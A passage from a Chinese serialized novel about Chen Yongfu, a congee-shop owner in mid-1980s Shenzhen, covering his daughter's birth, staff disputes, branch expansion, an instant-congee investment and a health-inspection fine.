陈永福在产房门口坐下。时间过得很慢,墙上钟的秒针一跳一跳的,每跳一下都像敲在他心上。
他想起林玉兰生建国时,他在外地打工,没赶上。等她生了,他才收到电报,赶回去时孩子已经满月了。林玉兰没怪他,但眼里的失落他记得。
这次,他要在。
产房里传来喊声,是林玉兰的声音,压抑的,痛苦的。陈永福手攥紧了,指甲掐进掌心。
张阿姨拍拍他的肩:“没事,生孩子都这样。”
他知道,但还是心疼。
又过了半小时,门开了,护士出来:“陈永福家属?”
“我是!”
“生了,女孩,六斤二两,母女平安。”
陈永福腿一软,差点坐地上。
“能进去吗?”
“等会儿,收拾好了叫你们。”
陈永福靠在墙上,长长出了口气。女孩,是晓梅。林玉兰起的名字。
□□拉拉他的衣角:“阿爸,我有妹妹了?”
“嗯,有妹妹了。”
“叫什么名字?”
“陈晓梅。”
“晓梅……”□□念了一遍,“好听。”
又等了二十分钟,护士让他们进去。林玉兰躺在病床上,脸色苍白,但眼睛亮亮的。身边一个小包裹,里面是个皱巴巴的小脸。
“阿福,你看。”林玉兰轻声说。
陈永福凑过去看。孩子闭着眼睛,小嘴一抿一抿的,头发湿漉漉的。
“像你。”他说。
“像你,鼻子像。”林玉兰笑了,“建国,来看看妹妹。”
□□小心翼翼地凑过来,看了半天:“她好小。”
“你小时候也这么小。”
“真的?”
“真的。”
陈永福握住林玉兰的手:“辛苦你了。”
“不辛苦。”林玉兰看着他,“你在,就不辛苦。”
一家四口在病房里,阳光从窗户照进来,暖洋洋的。这一刻,陈永福觉得什么都值了。所有的累,所有的压力,都值了。
林玉兰在医院住了三天。陈永福白天在医院陪她,晚上回家照顾□□,中间抽空去店里看看。王建军管得不错,没出乱子。
出院那天,郑文达派人送来花篮,何老板也来了,提了一篮鸡蛋。
“陈老板,恭喜恭喜。”
“谢谢何老板。”
“女孩好,贴心。”何老板说,“我老婆生了两儿子,闹腾死了,还是女儿好。”
陈永福笑着点头。
回到家,林玉兰躺在床上休息。陈永福请了个保姆,是张阿姨介绍的,姓吴,五十多岁,做事麻利。帮忙做饭、打扫、照顾孩子。
吴阿姨说:“陈老板放心,我照顾过十几个月子,有经验。”
“麻烦吴阿姨了。”
“不麻烦,应该的。”
有吴阿姨帮忙,陈永福轻松了些。但他还是不放心店里,每天至少去一趟。
东莞那边,黄秀英打电话来汇报。开业半个月,生意慢慢上来了。工人发现这家粥铺分量足,价格实在,来的多了。海鲜粥还是卖得少,但白粥和肉粥卖得好。
“老板,我想搞个活动。”黄秀英说,“月底发工资那几天,工人有钱,推个‘加肉粥’,多加点肉末,卖两毛。您觉得呢?”
“可以,试试。”
“还有,这边工人喜欢辣,我想做点辣咸菜。”
“做,口味要入乡随俗。”
挂了电话,陈永福觉得黄秀英真的成长了。会想事,会调整,不像刚开始那样什么都问他。
王建军的轮岗也顺利。罗湖店管了一个月,没出大问题。这个月去南山店,有小玲配合,应该也行。
李文杰说:“陈老板,你现在可以稍微放手了。培养人,就是让自己轻松。”
陈永福点点头,但心里还是放不下。这是他一手建起来的摊子,像自己的孩子,交给别人,总不放心。
十二月底,深圳下了一场罕见的冷雨。
雨夹着风,冷到骨头里。商场里的暖气不够,客人都缩着脖子。粥铺生意却好了,天冷,都想喝口热的。
陈永福在罗湖店帮
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忙。王建军去南山了,店里新提了个副店长,叫小周,二十岁,做事认真,但经验不足。
中午高峰期,人特别多。小周忙得团团转,收钱、找零、招呼客人,额头上全是汗。
陈永福在后厨帮忙盛粥。锅里的热气扑在脸上,暖和。他听见前面有客人在催。
“快点啊,等了十分钟了!”
“来了来了!”小周小跑着送粥,差点滑倒。
陈永福走过去:“别急,慢慢来,安全第一。”
“老板,人太多了……”
“人多是好事。”陈永福拍拍他的肩,“你去收钱,我来送。”
他端起几碗粥,一桌一桌送。客人看见老板亲自送,抱怨的话也咽回去了。
忙到两点,人才少下来。小周累得坐在椅子上喘气。
“累吧?”陈永福递给他一瓶水。
“累,但充实。”小周喝了一大口水,“老板,我以前在工厂流水线,每天重复一个动作,没意思。这里虽然累,但每天不一样,有意思。”
陈永福笑了。是啊,有意思。累,但有成就感。
晚上打烊,陈永福算账。今天卖了四百碗,破纪录了。小周高兴得直搓手。
“老板,咱们店越来越好了。”
“是你管理得好。”
“是老板教导有方。”
两人都笑了。
回家的路上,雨停了,但风还大。陈永福把外套裹紧,快步走。路过老街那片空地时,他停下看了看。
老榕树移走了,留下的大坑已经填平,正在打地基。听说要建商场,比罗湖商城还大。
他站了一会儿,风吹得脸生疼。想起一年前,他站在老榕树下,看着自己的小粥铺。那时候的梦想,不过是站稳脚跟。
现在,他有了三家店,东莞还开了一家。有了手机,有了存款,有了四口之家。
梦想变大了,但压力也变大了。
但他不后悔。路是自己选的,就得走下去。
回到家,吴阿姨已经做好了饭。林玉兰在喂奶,晓梅在她怀里,小嘴一吸一吸的。
“回来了?”林玉兰抬头看他。
“嗯,今天生意好。”
“累了吧?吃饭。”
“你先吃,我抱会儿孩子。”
陈永福接过晓梅。孩子轻飘飘的,像一团棉花。她睁开眼睛,黑溜溜的眼珠看着他,不哭不闹。
“她认得你了。”林玉兰笑着说。
“这么小,哪会认人。”
“会的,血缘连着。”
陈永福轻轻摇晃着孩子,心里满满的。这一刻,什么生意,什么压力,都忘了。只有怀里的这个小生命,真实,温暖。
□□写完作业出来,看见爸爸抱着妹妹,也凑过来。
“阿爸,妹妹什么时候能说话?”
“还要好久呢。”
“那我教她说话。”
“好,你教。”
一家四口坐在灯下,饭菜冒着热气。窗外风声呼啸,但屋里暖和。
陈永福想,这就是他奋斗的意义。让家人有饭吃,有房住,有安稳的日子。
至于生意,慢慢做吧。能做多大做多大,做不大,现在这样也行。
但他知道,他不会停。深圳这座城市,也不让人停。你停,别人就超过你了。
吃完饭,陈永福去阳台抽烟。手机响了,是黄秀英。
“老板,睡了吗?”
“没,什么事?”
“今天东莞店卖了三百碗,也破纪录了。”黄秀英声音里有压抑不住的兴奋。
“好,好。”
“老板,我想明年在常平再开一家店。”
陈永福愣了一下:“这么快?”
“这边市场大,一家店不够。”黄秀英说,“而且我培养了两个本地员工,能当店长。”
陈永福沉默了。他没想到黄秀英的步子迈得这么快。
“老板,你觉得呢?”
“让我想想。”陈永福说,“先把手头这家店做好,稳一稳。”
“好。”
挂了电话,陈永福看着夜空。星星不多,被城市的灯光盖住了。但他好像看见了一颗,特别亮,一闪一闪的。
他想起了郑文达的话:机会不等人。
也许,他真的该放手让年轻人去闯了。他守好深圳这片,东莞、常平,甚至更远的地方,让黄秀英他们去开拓。
这样,家香粥铺才能真的做大,才能像郑文达说的那样,做成连锁。
烟抽完了,他回屋。林玉兰已经睡了,晓梅在她身边,也睡了。□□房间的灯还亮着,在看书。
他轻轻推开儿子的门:“还不睡?”
“看完这页就睡。”
“早点睡,明天还要上学。”
“阿爸,我们老师今天说,深圳要建地铁了。”
“地铁?”
“嗯,地下跑的火车。老师说,以后从罗湖到南山,只要二十分钟。”
二十分钟。现在坐公交车要一个多钟头。
深圳真快,一天一个样。
“睡吧。”陈永福摸摸儿子的头,“以后阿爸带你坐地铁。”
“好。”
关灯,关门。陈永福回到自己房间,在林玉兰身边躺下。
妻子翻了个身,轻声问:“谁的电话?”
“秀英,东莞店生意好。”
“那就好。”林玉兰迷迷糊糊地说,“睡吧。”
“嗯,睡。”
陈永福闭上眼睛。明天还要早起熬粥,还要处理三家店的事,还要想东莞新店的事。
但今晚,他想好好睡一觉。
明天,又是新的一天。
这座城市在变,他的生活也在变。但有些东西不变,比如早起熬粥的习惯,比如对家人的责任,比如心里那团还没灭的火。
睡吧,明天还要赶路。
14. 八六
元旦过完没几天,深圳突然就冷了下来。
不是北方那种干冷,是南方的湿冷,寒气像细针,扎进骨头缝里。商场里暖气开足了,但门口的风还是飕飕地往进灌。陈永福在罗湖店门口挂了厚棉帘,蓝色的,印着“家香粥铺”四个白字,被风吹得鼓起来又瘪下去。
一九八六年了。
陈永福站在收银台后头,翻着新换的挂历。挂历是郑文达送的,香港印的,铜版纸,亮得反光。每一页都是风景照片,香港的太平山、维多利亚港、海洋公园。他翻到一月,上面用红笔圈了个日子:一月十八号,晓梅满月。
时间真快,孩子都满月了。
林玉兰坐完月子,精神好了不少。吴阿姨继续帮忙,白天照顾晓梅,做家务,晚上回家。一个月工资六十块,不便宜,但值。陈永福能安心在店里,林玉兰能好好休息。
晓梅长得快,满月时重了三斤,脸蛋圆了,眼睛更亮了。林玉兰说像陈永福,特别是眉毛。陈永福看不出来,只觉得女儿哪儿都好看。
满月酒没大办,就在家里请了几桌。郑文达从香港过来,送了金锁片。何老板提了两瓶洋酒,说是法国产的,陈永福没舍得喝,收在柜子里。黄秀英从东莞赶回来,给晓梅做了身小衣服,粉色的,绣着小花。
“秀英手艺越来越好了。”林玉兰说。
“在东莞闲着没事学的。”黄秀英不好意思,“老板娘喜欢就好。”
“喜欢,晓梅也喜欢。”
黄秀英这次回来,主要是汇报东莞店的情况。开业两个月,生意稳了,每天能卖三百碗左右。工人认可了这家粥铺,说她分量足,味道好。
“老板,常平那边我想再开一家。”饭桌上,黄秀英又提起这事。
陈永福还没说话,郑文达先开口:“黄小姐有魄力。东莞市场大,一家店不够。”
“但人手不够。”陈永福说,“你现在这家店才稳,马上开第二家,顾得过来吗?”
“顾得过来。”黄秀英很自信,“我培养了两个人,一个能当店长,一个能当厨师。第二家店让他们管,我在后面看着。”
陈永福看看李文杰。李文杰点点头:“可以试试。黄小姐有能力,该放手让她做。”
“那资金呢?”陈永福问郑文达。
“第二家店我单独投。”郑文达说,“黄小姐占两成股份,陈老板你提供品牌和技术,也占两成。我占六成。”
这个条件不错。陈永福不用出钱,只出品牌,就能占两成。黄秀英能当小老板,更有干劲。
“秀英,你觉得呢?”陈永福问。
“我觉得行。”黄秀英眼睛发亮,“老板,我想试试。”
陈永福沉默了一会儿。他想起一年前的黄秀英,蹲在路灯下哭的样子。现在,她要当老板了。
“行,那就试试。”他说,“不过要稳扎稳打,别贪快。”
“知道!”
满月酒吃完,黄秀英当天就回东莞了。她说要抓紧时间,争取春节前把第二家店开起来。
李文杰也走了,去福田店检查。郑文达回香港。家里就剩陈永福一家和吴阿姨。
林玉兰在哄晓梅睡觉,□□在写作业。陈永福坐在沙发上,看着这个家。新租的房子,三室一厅,月租一百二。家具是新买的,沙发、电视柜、餐桌,花了两千多。墙上挂着全家福,是晓梅满月时拍的,照相馆的人上门来拍的,黑白照,但笑得开心。
“想什么呢?”林玉兰走过来,在他身边坐下。
“想秀英。”陈永福说,“变化真大。”
“是啊,她能干。”林玉兰靠在他肩上,“阿福,你有没有发现,你现在管得越来越少了?”
“李经理说,老板要学着放手。”
“是该放手。”林玉兰轻声说,“你看你,白头发都多了。”
陈永福摸摸头发,确实,鬓角有几根白的。他才三十三岁。
“老了。”
“不老。”林玉兰握住他的手,“就是累的。以后多休息,店里的事,让他们年轻人去忙。”
“嗯。”
话是这么说,但陈永福知道,他闲不下来。三家店,几十号人,每天都有事。今天这个请假,明天那个出错,后天又要进货。小事不断。
一月中的一天,王建军从南山店打来电话,声音急:“老板,刘师傅跟小玲吵起来了。”
“为什么?”
“刘师傅嫌小玲管得多,说他熬粥时小玲老在旁边看,像监视他。”
陈永福皱眉。刘师傅这个老毛病,一直没改。手艺好,但脾气倔,不服管。小玲年轻,想认真做事,反而被嫌。
“我过去一趟。”
坐车到南山店,还没进门就听见吵吵声。
“我是厨师还是你是厨师?我熬了十几年粥,要你教?”刘师傅嗓门大。
“刘师傅,我不是教,是提醒。今天的粥有点咸,客人有意见。”小玲声音小,但没退让。
“咸?哪里咸?你尝了吗你就说咸?”
“我尝了,是咸。”
陈永福走进去。两人看见他,都停了。
“老板。”小玲低下头。
刘师傅别过脸,不看他。
“怎么回事?”陈永福问。
小玲把情况说了。中午有客人反映粥咸,她尝了确实咸,就跟刘师傅说。刘师傅不认,说她不懂装懂。
“刘师傅,粥呢?”陈永福问。
“倒锅里了。”
陈永福走到灶台前,舀了一勺尝。确实咸,而且有股糊味。
“刘师傅,你来尝。”
刘师傅不情愿地过来,尝了一口,脸色变了。
“可能……可能盐放重了。”
“不是盐放重了,是没搅匀。”陈永福说,“锅底糊了,你只顾上面,没搅底,底下的咸了糊了。”
刘师傅不说话了。
“小玲提醒你,是为店好。”陈永福看着他,“你觉得她年轻不懂,那你这个老师傅,怎么还犯这种错?”
“我……”
“一次两次可以,次数多了,客人就跑了。”陈永福说,“刘师傅,你手艺好,我知道。但好手艺更要用心。糊弄,再好的手艺也白搭。”
刘师傅脸红了,低着头。
“今天的事,扣你一天工资。”陈永福说,“再有下次,就不是扣工资了。”
“知道了。”
“小玲,”陈永福转向她,“你做得对。以后继续,该说的要说。”
“嗯。”小玲点头,眼睛有点红。
处理完这事,陈永福把王建军叫到一边。
“建军,你在这边轮岗,要多协调。刘师傅和小玲,一个老资格,一个新上任,肯定有矛盾。你要在中间调和。”
“老板,我试了,但刘师傅不听我的。”
“不听也要说。”陈永福拍拍他的肩,“你现在是未来区域经理,要学着管人。管人最难,比管店难。”
王建军点头:“我尽力。”
“不是尽力,是必须。”陈永福说,“李经理说了,三月送你去培训班,学管理。你要拿出成绩来,不然人家凭什么教你?”
“知道了,老板。”
回罗湖的路上,陈永福想,管人确实难。他宁愿多熬几锅粥,也不愿处理这些纠纷。但没办法,店多了,人多了,这些事就来了。
李文杰说得对,管理不是交朋友。该严的时候要严,该罚的时候要罚。
但陈永福还是觉得,人心是肉长的。刘师傅为什么不服小玲?因为小玲是他带出来的,现在反过来管他,面子上过不去。扣工资是罚,但罚完还得给个台阶下。
他给刘师傅打了个电话。
“刘师傅,今天的事,你别往心里去。”
电话那头,刘师傅闷声说:“老板,是我错了。”
“知道错就好。”陈永福说,“你是老师傅,店里的顶梁柱。小玲年轻,还需要你带。你带得好,以后店里给你发奖金。带不好,人家说你小气,容不下年轻人。”
这话说到了刘师傅心里。他要面子,也想要钱。
“老板,我明白了。以后我注意。”
“那就好。”
挂了电话,陈永福松了口气。管人像熬粥,火候要准。太硬了糊,太软了不熟。
一月下旬,东莞传来消息:黄秀英的第二家店选址定了,在常平的另一个工业区,离第一家店三公里。租金便宜,三十平米,月租一百五。装修已经开始,预计二月开业。
郑文达很满意,说黄秀英“有效率”。
陈永福却有点担心。太快了,怕基础不牢。但他没说什么,既然放手了,就得相信。
月底盘点,三家店一月份的营业额出来了。罗湖五千五,南山四千,福田四千五。总利润两千三。
李文杰说:“稳中有升,不错。”
但陈永福发现一个问题:成本涨了。米价涨了,肉价涨了,人工也涨了。利润虽然涨,但涨幅没跟上营业额。
“通胀开始了。”李文杰说,“深圳发展快,物价也跟着涨。我们要想办法控制成本,或者提价。”
提价?陈永福犹豫。客人对价格敏感,特别是工人,一毛钱都要计较。
“先控制成本吧。”他说,“米和肉,我再去跟批发商谈,看能不能再便宜点。”
“难。”李文杰摇头,“整个市场都在涨。我倒觉得,可以适当提价,但要用别的方式补偿。比如加量,或者送小菜。”
陈永福想了想:“那就白粥涨到一毛二,肉粥一毛八。但碗再大一圈,咸菜多给一勺。”
“可以试试。”
二月一号,罗湖店率先调价。陈永福在门口贴了告示:“因成本上涨,即日起价格微调。但分量增加,咸菜免费加。”
客人有意见,但看见碗确实大了,咸菜随便加,也就算了。只有几个老顾客嘟囔了几句,但该来还是来。
陈永福松了口气。这关过了。
二月八号,小年。深圳的街头开始有年味了。商场挂起红灯笼,放起喜庆音乐。很多档口贴出“春节照常营业”的牌子。
陈永福今年不打算回老家。林玉兰刚生完孩子,经不起长途奔波。他给老家寄了五百块钱,写了一封长信,说夏天一定回去。
父亲回信了,很短:“钱收到,勿念。生意要紧,家里都好。孙儿孙女照片寄来。”
陈永福去照相馆,拍了一张全家福,一张晓梅的单人照,寄回老家。信里写:“儿在深圳安好,生意稳中有进。晓梅健康可爱,建国学习用功。玉兰身体渐复,勿念。”
写到这里,他鼻子有点酸。出来两年了,没回去过。父母老了,他不在身边,是不孝。但没办法,生活所迫。
林玉兰看出他心情不好,说:“等晓梅大点,咱们一起回去。”
“嗯。”
小年那天,陈永福请所有员工吃饭。三家店的骨干,加上东莞的黄秀英,在罗湖一家酒楼包了个大桌。
来了二十多个人,挤挤攘攘坐了三桌。陈永福站起来讲话,他不会说漂亮话,就说了一句:“这一年,大家辛苦了。明年,咱们一起努力,把生意做得更好。”
说完,他敬了大家一杯。酒是白酒,辣,但暖。
黄秀英也站起来:“老板,我敬你一杯。没有你,就没有我的今天。”
“是你自己争气。”陈永福跟她碰杯。
其他员工也轮流敬酒。刘师傅喝多了,拉着小玲的手说:“以前是我不对,你别往心里去。”
小玲脸红:“刘师傅,您言重了。”
王建军坐在陈永福旁边,小声说:“老板,培训班的事,谢谢你。”
“好好学,学成了帮我分担。”
“一定!”
吃完饭,大家散去。陈永福和黄秀英最后走。
“秀英,东莞第二家店,有把握吗?”陈永福问。
“有。”黄秀英说,“老板,我发现一个规律:工人多的工业区,粥铺生意一定好。他们需要便宜、热乎、顶饱的早餐。咱们就做这个。”
“对,定位要准。”
“老板,我还想……”黄秀英犹豫了一下,“等第二家店稳
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了,我想去广州看看。”
“广州?”
“嗯。广州人多,市场更大。而且离香港近,郑先生的关系能用上。”
陈永福看着她。这个当年连工作都找不到的女孩,现在眼光已经放到广州了。
“步子别太大。”
“我知道,先稳东莞。”黄秀英说,“老板,你放心,我不会乱来。”
“我信你。”
送走黄秀英,陈永福一个人走在回家的路上。街上很热闹,卖年货的摊子还没收,对联、灯笼、糖果,红红火火。孩子们在放鞭炮,噼啪响。
他想起老家的年。这个时候,母亲应该在做年糕,父亲在写春联。弟弟妹妹在院子里追着玩,等着吃年夜饭。
两年了。他在深圳有了自己的年,但老家的年,还在记忆里。
手机响了,是郑文达。
“陈老板,新年快乐。”
“郑先生同乐。”
“有件事跟你商量。”郑文达说,“我有个朋友,做食品加工的,想跟我们合作,生产速食粥。”
“速食粥?”
“就是袋装的,开水一冲就能喝。”郑文达说,“现在深圳生活节奏快,很多人没时间坐下来喝粥。速食粥有市场。”
陈永福从没想过这个。粥要现熬现喝才好,袋装的能好喝吗?
“郑先生,这个……”
“我知道你担心质量。”郑文达说,“所以我们合作。你提供配方和技术,他们生产。卖得好,你有分成。卖不好,你没损失。”
“让我想想。”
“不急,过完年再说。”
挂了电话,陈永福脑子有点乱。速食粥,袋装,开水冲。这还叫粥吗?但郑文达说得对,深圳节奏快,很多人没时间。也许真有市场。
回到家,林玉兰还没睡,在给晓梅喂奶。
“怎么这么晚?”
“跟员工吃饭。”陈永福把速食粥的事说了。
林玉兰听完,想了想:“你觉得行吗?”
“不知道。”陈永福老实说,“粥要现熬才好,袋装的,味道肯定差。”
“但方便啊。”林玉兰说,“像方便面一样,泡一下就能吃。现在年轻人,图方便。”
“你也觉得可行?”
“试试呗,反正你不亏。”林玉兰说,“郑先生出钱,你出技术。成了,多一条财路。不成,也没什么。”
陈永福点点头。妻子说得对,试试无妨。
年三十,商场只营业到下午三点。陈永福给员工发了红包,每人二十块。大家高兴,说过年好话。
下午,他带着林玉兰和孩子们去何老板家吃年夜饭。何老板的香港亲戚来了,一大家子,热闹。何太太做了盆菜,一大盆,里面有鸡、鸭、鱼、肉、虾,层层叠叠,热气腾腾。
“陈老板,尝尝,香港的年夜菜。”何老板说。
陈永福尝了一口,味道浓郁,跟潮汕菜不一样,但好吃。
“何老板手艺好。”
“我太太做的。”何老板笑,“我就是个吃货。”
吃完饭,看电视。春节联欢晚会,小品、相声、唱歌。□□看得咯咯笑,晓梅在妈妈怀里睡着了。
何老板跟陈永福在阳台抽烟。
“陈老板,听说你要做速食粥?”
“郑先生提的,还没定。”
“好事。”何老板说,“品牌要延伸,不能只靠门店。速食产品,走量,利润高。”
“但味道……”
“味道可以调。”何老板弹弹烟灰,“现在食品技术发达,保鲜、调味,都能做。关键是品牌,人家认‘家香’这两个字。”
陈永福想了想,是这么个理。
“何老板,你觉得能成吗?”
“事在人为。”何老板说,“深圳这个地方,什么都有可能。两年前,你能想到你有今天吗?”
陈永福摇摇头。两年前,他只想糊口。
“所以啊,大胆试。”何老板拍拍他的肩,“我跟着你投点,怎么样?”
“何老板愿意投,当然好。”
“那就这么说定了。过完年,咱们跟郑先生详细谈。”
零点的钟声敲响时,深圳全城响起鞭炮声。虽然禁放,但拦不住。劈里啪啦,震耳欲聋。
陈永福站在阳台上,看着夜空被烟花照亮。红的、绿的、金的,一朵朵炸开,又消失。
新的一年来了。
他不知道这一年会怎样,但知道,不会轻松。速食粥、东莞新店、广州考察、员工管理,一件件等着他。
但他不怕。两年了,他在这座城市站稳了。有家,有店,有人。
烟花还在放,照得夜空时明时暗。陈永福想起老家的一句话:年年难过年年过,年年过得还不错。
是啊,难是难,但总能过去。
他回到屋里,林玉兰在哄晓梅,□□在数红包。吴阿姨在厨房煮汤圆,甜甜的香味飘出来。
这个年,在深圳过的第一个完整年。虽然想老家,但这里也是家了。
“吃汤圆了。”吴阿姨端出来。
一人一碗,白糯糯的汤圆,黑芝麻馅,甜到心里。
“祝咱们家,团团圆圆,甜甜蜜蜜。”林玉兰说。
“团团圆圆,甜甜蜜蜜。”陈永福重复。
晓梅醒了,眨巴着眼睛看灯。□□把一个汤圆吹凉,要喂妹妹。
“她还小,不能吃。”
“就舔舔。”
“那也不行。”
一家人笑了。
窗外,鞭炮声渐渐稀了。深圳的夜,慢慢安静下来。
但明天,太阳升起时,这座城市又会忙碌起来。工地会开工,商场会开门,人们会奔波。
陈永福也会早起,熬粥,开店,迎接新的一年。
路还长,但一步步走,总能走到头。
他吃完汤圆,放下碗。林玉兰靠在他肩上,轻声说:“阿福,新年快乐。”
“新年快乐。”
孩子睡了,妻子在身边。这就是他的年,他的生活,他的深圳。
15. 春寒
春节的鞭炮味儿还没散干净,深圳就来了场倒春寒。
冷风从海上刮过来,湿漉漉的,钻进衣服里像冰刀子。商场里的暖气开得足,但门口那道棉帘子挡不住风,客人进门时都缩着脖子,嘴里哈着白气。
陈永福站在罗湖店门口,看着街上的行人。初八了,该上班的都上班了,但街上人还是少。深圳是座移民城,过年时走了一大半,要过了十五才慢慢回满。
店里生意也淡。早上只卖了不到一百碗,比平时少了一半。王建军在收银台后打哈欠,小周在后厨收拾,动作都慢吞吞的。
“老板,这年过得,人都懒了。”王建军说。
“正常,过几天就好了。”陈永福说,但心里也有点急。店开着,租金、人工、水电,一天都不能少。生意淡,就是净亏。
中午,李文杰来了。他穿着灰色呢子大衣,围巾围得严实,鼻尖冻得发红。
“陈老板,新年好。”
“李经理新年好。”
两人进了小办公室。李文杰从公文包里拿出一份文件:“速食粥项目的初步方案,郑先生让我拿给你看看。”
陈永福接过文件,厚厚一沓,第一页写着“家香速食粥项目可行性研究报告”。他翻了几页,很多专业术语看不懂,但大致意思明白:投资二十万,建生产线,先生产三个口味:白粥、皮蛋粥、海鲜粥。目标市场是深圳和广州的超市、便利店。
“二十万?”陈永福抬起头。
“第一期投资。”李文杰说,“郑先生出十五万,何老板出三万,我们出两万。”
“我们出两万?”
“品牌和技术入股,折算两万。”李文杰解释,“郑先生说已经很优惠了。”
陈永福沉默了。两万块,他拿得出来,但这是周转资金。三家店一个月光进货就要一万多,两万块不算多,但也不能随便动。
“让我想想。”
“陈老板,机会难得。”李文杰劝道,“现在深圳速食市场刚起步,方便面卖得火,速食粥还是空白。我们占先机,就能占市场。”
“我知道。”陈永福说,“但两万块不是小数,我得跟家里商量。”
“应该的。”
李文杰走了。陈永福继续看那份报告。后面有市场分析、成本核算、利润预测,写得密密麻麻。预计第一年销售额能达到五十万,利润率百分之二十。如果真能做到,两万投资一年就能回本。
但报告是报告,现实是现实。陈永福做实体店出身,知道生意没那么好做。粥要现熬才好喝,袋装的,能一样吗?
晚上回家,他跟林玉兰商量。林玉兰正在给晓梅换尿布,听了半天,才说:“阿福,我不懂这些大事。但咱们的钱,是粥铺一碗一碗挣出来的,要慎重。”
“我知道。”
“两万块,能买多少米?能付多少人工?”林玉兰说,“要是赔了,店怎么办?”
这话说到陈永福心坎上。他怕的就是这个。店是根本,不能动。
“郑先生和何老板都看好,应该不会差吧。”
“他们是香港老板,钱多,赔得起。”林玉兰看他一眼,“咱们赔不起。”
陈永福不说话了。妻子说得对,他们赔不起。
夜里,他翻来覆去睡不着。两万块,像块石头压在心上。投,怕赔。不投,怕错过机会。
第二天,他去找何老板。何老板在烧腊档后面喝茶,看见他来,招招手。
“陈老板,为速食粥的事吧?”
“是。何老板,你真看好?”
“看好。”何老板给他倒茶,“陈老板,我跟你不一样。我在香港长大,见得多。香港人生活节奏快,速食产品卖得好。深圳现在越来越像香港,早晚也要走这条路。”
“但粥……”
“粥是麻烦,但技术能解决。”何老板说,“现在有真空包装,有冻干技术,能保持味道。关键是你这个牌子,人家认。”
“牌子值两万?”
“值不值,看将来。”何老板放下茶杯,“陈老板,我多说一句。你现在的三家店,做得再好,也就是三家店。天花板在那儿。速食产品不一样,做好了能卖到全国。”
全国。这个词让陈永福心跳了一下。他从没想过那么远。
“可我听说,做食品厂很复杂,要批文,要检验……”
“这些郑先生会搞定。”何老板说,“他在香港有关系,深圳这边也能疏通。我们只管出钱出技术,具体操作他来。”
陈永福还是有些犹豫。何老板拍拍他的肩:“这样,你出两万,我也再加一万。赔了,咱们一起扛。赚了,一起分。”
话说到这份上,陈永福再推辞,就显得小气了。
“行,我投。”
“爽快!”何老板笑了,“明天我约郑先生,咱们签合同。”
签合同是在郑文达深圳的办事处,在国贸大厦里。陈永福第一次进这么高的楼,电梯上升时耳朵嗡嗡响。透过玻璃窗看出去,整个罗湖尽收眼底。高楼,马路,车流,像沙盘模型。
郑文达的办公室很大,铺着地毯,墙上挂着一幅字:“鹏程万里”。办公桌是红木的,能照出人影。
“陈老板,欢迎。”郑文达起身跟他握手。
合同已经准备好了,一式三份。陈永福仔细看了条款,确认没问题,签了字。签完字,他开出一张两万块的支票——刚去银行办的,第一次用。
郑文达收起支票:“陈老板放心,我会尽快启动项目。工厂选址在宝安,那边地便宜,政策也优惠。”
“郑先生多费心。”
“应该的。”
从国贸大厦出来,陈永福站在楼下,仰头看这栋楼。五十三层,高耸入云。听说还在盖二期,要盖到六十八层。深圳速度,真不是吹的。
他想起两年前,在老街的老榕树下,他的粥铺刚开张。十平米,一口锅,几张桌子。现在,他站在深圳最高的楼下,签了二十万的合同。
变化太快,快得让人心慌。
回到店里,王建军迎上来:“老板,南山店出事了。”
“什么事?”
“工商局来检查,说卫生不合格,要罚款。”
陈永福头大了:“罚多少?”
“两百。”
“为什么不合格?”
“说垃圾桶没盖,生熟食没分开,还有……还有员工健康证过期。”
这些都是李文杰反复强调过的问题。陈永福立刻给南山店打电话,是小玲接的。
“小玲,怎么回事?”
“老板,对不起。”小玲声音带着哭腔,“刘师傅嫌麻烦,垃圾桶盖子老是不盖。生熟食他说分不开,地方小。健康证……健康证是我忘了去办。”
“刘师傅呢?”
“在店里,跟工商局的人吵呢。”
“让他接电话!”
过了一会儿,刘师傅的声音传来:“老板,这些人就是找茬……”
“闭嘴!”陈永福难得发火,“让你怎么做你就怎么做,为什么不听?”
“我……”
“现在立刻道歉,配合检查。该罚的认罚,该改的马上改。”
“老板,两百块呢……”
“两千块也得认!”陈永福挂了电话。
他坐车去南山。一路上,心里窝火。明明有规定,为什么不执行?明明能避免,为什么非要出事?
到店里,工商局的人还在。两个穿制服的工作人员,一个在记笔录,一个在拍照。刘师傅站在一边,脸色铁青。小玲低着头,眼睛红红的。
陈永福走过去:“同志,对不起,是我们管理不到位。”
工作人员看看他:“你是老板?”
“是。我们一定整改,马上整改。”
“光整改不够,要罚款。”工作人员说,“这次是警告,下次再犯,要停业整顿。”
“是是是,我们一定注意。”
交了罚款,送走工商局的人。陈永福把刘师傅和小玲叫到后厨。
“说吧,怎么回事。”
刘师傅先开口:“老板,真不是大事。垃圾桶盖子,我嫌麻烦,开开关关的。生熟食,地方这么小,怎么分?健康证,小玲忘了办,也不是故意的。”
“不是故意?”陈永福看着他,“刘师傅,你手艺好,我知道。但卫生不是小事,吃出问题,店就完了。这个道理你不懂?”
“懂是懂……”
“懂为什么不做?”陈永福转向小玲,“你是店长,有责任监督。刘师傅不听,你为什么不汇报?”
“我……”小玲眼泪掉下来,“我怕刘师傅生气,怕影响和气。”
“和气重要还是安全重要?”陈永福声音严厉,“今天罚两百,是小事。万一吃出问题,罚两千、两万都不够,还要坐牢。你担得起吗?”
小玲不敢说话。
“从今天起,南山店停业三天,整顿。”陈永福说,“刘师傅,卫生标准背一遍,背不出来,别上班了。小玲,健康证马上办,员工的、你自己的,都要有。垃圾桶买带盖的,生熟食必须分开,地方小就想办法。”
“知道了,老板。”
“不是知道了,是必须做到。”陈永福看着他们,“再出问题,你们俩都别干了。”
说完,他转身走了。心里憋着火,又憋着疼。刘师傅是老员工,小玲是他提拔的,都不容易。但他不能心软,心软害人害己。
回到罗湖店,李文杰在等他。
“陈老板,南山店的事我听说了。”李文杰说,“处理得对,必须严厉。”
“李经理,这些规矩,我反复说过,为什么就是不听?”
“因为习惯。”李文杰说,“中国人做事,讲人情,讲变通。但食品安全,不能讲人情,不能变通。要让他们养成习惯,需要时间,也需要代价。”
“代价太大了。”
“不大不长记性。”李文杰说,“陈老板,我建议搞个突击检查。三家店轮流查,不合格的重罚。罚几次,就记住了。”
“行,你安排。”
李文杰走了。陈永福坐在办公室里,觉得累。管人比管店累,心累。
手机响了,是黄秀英。
“老板,东莞第二家店明天开业,你来吗?”
“南山店出事了,我走不开。”陈永福把情况说了。
黄秀英听完,沉默了一会儿:“老板,我这边也遇到过类似问题。工人多,卫生难搞。后来我定了规矩:每天检查,每周评比。卫生好的有奖金,差的有惩罚。慢慢就习惯了。”
“你这方法好。”
“我也是跟李经理学的。”黄秀英说,“老板,别太生气。管理就是这样,总有波折。”
